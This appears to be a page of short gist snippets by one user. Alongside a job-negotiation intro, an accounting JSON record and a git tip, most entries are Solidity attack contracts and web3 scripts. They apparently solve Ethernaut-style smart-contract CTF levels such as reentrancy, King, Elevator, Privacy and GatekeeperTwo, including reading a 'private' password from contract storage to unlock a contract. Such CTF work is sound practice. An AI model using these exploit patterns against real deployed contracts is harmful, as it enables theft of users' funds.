tennisonchan

#Ten Rules for Negotiating a Job Offer

Always Negotiate

You might think to yourself: “well, I don’t want to set high expectations, and the offer is already generous, so I ought to just take it.“ No. Negotiate.

Or maybe: “I don’t want to start off on the wrong foot and look greedy with my future employer.“ No. Negotiate.

"But this company is small and—"

tennisonchan

{
  "QueryResponse": {
   "Account": [
    {
     "Name": "6981 Allocation - CI Allocation to COGS",
     "SubAccount": false,
     "FullyQualifiedName": "6981 Allocation - CI Allocation to COGS",
     "Active": true,
     "Classification": "Expense",
     "AccountType": "Expense",

tennisonchan

# if branch_name exists, it will return its hash
# if not, it will returns null

git rev-parse --verify --quiet branch_name

tennisonchan

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperTwoInterface {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {
    GatekeeperTwo public target;
    address public targetAddress = 0x83eEe41AB63d62973bA8E3D3467DDb37bE58F22b;

tennisonchan

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Privacy.sol";

contract Controll {
    Privacy public target;

    constructor(address targetAddress) public {
        // 0x3C3231f89DeC634f028e25d899e307e185E2c4c7

tennisonchan

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Elevator.sol";

contract Controll {
    Elevator public target;
    uint public count;

    constructor(address targetAddress) public {

tennisonchan

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./King.sol";

contract Controller {
    King public target;

    constructor(address payable targetAddress) public payable {
        // 0x53AE1A698211016e92ece4102217DBdBDC325022

tennisonchan

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Reentrance.sol";

contract Controller {
    Reentrance public target;

    constructor(address payable targetAddress) public payable {
        // 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF

tennisonchan

const signature = web3.utils.sha3('pwn()').slice(0,10);
const valueToUpdate = 1234;
const msgData = signature + web3.utils.toHex(valueToUpdate).slice(2).padStart(64, '0');
await web3.eth.sendTransaction({
    from: player,
    to: contract.address,
    gas: 2999992,
    data: msgData},
);

tennisonchan

await contract.locked(); // true

const pwdInHex = await web3.eth.getStorageAt(contract.address, 1) // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
const pwd = web3.utils.hexToAscii(pwdInHex); // 'A very strong secret password :)'

await contract.unlock(web3.utils.asciiToHex(pwd), {from: player})

await contract.locked(); // false